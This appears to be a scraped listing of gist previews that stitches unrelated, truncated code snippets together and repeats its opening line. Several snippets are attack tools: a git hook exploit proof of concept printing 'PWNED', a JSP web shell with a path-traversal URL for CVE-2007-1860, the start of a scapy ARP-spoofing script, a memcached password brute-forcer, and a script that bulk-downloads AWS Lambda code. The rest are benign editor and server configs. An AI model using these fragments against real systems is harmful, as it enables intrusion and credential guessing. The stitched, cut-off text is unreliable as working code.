Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000| #!/bin/sh | |
| git init delayed-checkout && | |
| ( | |
| cd delayed-checkout && | |
| echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \ | |
| >.gitattributes && | |
| mkdir A && | |
| printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout && | |
| chmod +x A/post-checkout && |
| # how to use | |
| # build | |
| # $ jar -cvf index.war * | |
| # upload to tomacat server | |
| # execute | |
| # http://taget/%252e%252e/%252e%252e/cve-2007-1860/index.jsp?cmd=ls | |
| <FORM METHOD=GET ACTION='index.jsp'> | |
| <INPUT name='cmd' type=text> |
| import os | |
| import sys | |
| import threading | |
| import signal | |
| from scapy.all import * | |
| HWDST_SRC = "ff:ff:ff:ff:ff:ff" | |
| interface = "" | |
| target_ip = "" |
| var timex = setInterval(sendFuckingMsg, 30000); | |
| function sendFuckingMsg(){ | |
| productName = "ESPN Ilimitado"; | |
| uolPersonName = document.getElementById("Span1").textContent; | |
| textField = document.getElementById("message"); | |
| button = document.getElementsByClassName("vinter-button vinter-quest-btnSend")[0]; | |
| textField.value = "Oi" + uolPersonName + "Não estou interessado. Quero CANCELAR o " + productName + "!"; | |
| button.click(); | |
| } |
| #! /bin/bash | |
| while read F ; do | |
| echo "Trying $F" | |
| if memcstat --servers=$1 --username=$2 --password=$F | grep -q Server ; then | |
| echo "Password Found: "$F | |
| break | |
| fi | |
| done < $3 |
| #!/bin/bash | |
| aws_region='us-east-1' | |
| functions=$(aws lambda list-functions --region us-east-1 | jq -r '.Functions[].FunctionName') | |
| for function in $functions; do | |
| datetime=$(date) | |
| echo "[$datetime] Downloading Lambda $function" | |
| function_url=$(aws lambda get-function --function-name $function --query 'Code.Location' --region $aws_region) | |
| url=$(echo $function_url | tr -d '"') |
| { | |
| "Console Log": { | |
| "prefix": "cl", | |
| "body": "console.log($1);", | |
| "description": "Console Log" | |
| }, | |
| "Named Function": { | |
| "prefix": "nfn", | |
| "body": ["function ${1:functionName}($2) {", " $3", "}"], | |
| "description": "Named Function" |
| #!/bin/bash | |
| code --install-extension andys8.jest-snippets | |
| code --install-extension christian-kohler.npm-intellisense | |
| code --install-extension christian-kohler.path-intellisense | |
| code --install-extension cssho.vscode-svgviewer | |
| code --install-extension dbaeumer.vscode-eslint | |
| code --install-extension donjayamanne.githistory | |
| code --install-extension dracula-theme.theme-dracula | |
| code --install-extension eamodio.gitlens | |
| code --install-extension EditorConfig.EditorConfig |
| { | |
| "Version": "2008-10-17", | |
| "Statement": [ | |
| { | |
| "Sid": "AllowPublicRead", | |
| "Effect": "Allow", | |
| "Principal": { | |
| "AWS": "*" | |
| }, | |
| "Action": "s3:GetObject", |